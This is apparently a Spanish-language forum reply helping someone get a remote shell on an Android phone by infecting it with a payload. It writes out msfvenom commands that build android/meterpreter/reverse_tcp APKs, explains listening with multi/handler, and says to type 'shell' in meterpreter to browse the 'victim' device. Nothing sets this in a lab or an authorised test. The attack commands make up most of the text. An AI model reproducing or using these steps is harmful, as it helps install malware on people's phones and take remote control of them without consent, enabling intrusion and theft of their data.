Por lo que entiendo, tu quieres conseguir una shell remota infectando a un android con un payload lo puedes generar con msfvenom por tanto intuyo que la aplicación/payload se crea correctamente, y luego, pones a la escucha (con el comando "use multi/handler") y si has puesto bien los puertos y todo, pues te agarrará una meterpreter, pues tu lo que quieres es a traves de la meterpreter conseguir una shell remota?
si es eso solo tienes que escirbir en la meterpreter el comando "shell", y ya esta, navegas por el android victima con comandos linux y ya esta.
ahora bien, si ese no es es problema, entonces es con el msfvenom, cuando creas el payload?
Ejemplo:
el comando: "msfvenom --platform android -p android/meterpreter/reverse_tcp LHOST=192.168.43.167 LPORT=53 R > ANDROID3.apk" pienso que esta mal, ya que añades la plataforma dos veces, la correcta sería:
"msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.... lport=4444 R> /root/Escritorio/payload.apk"
Espero te sirva.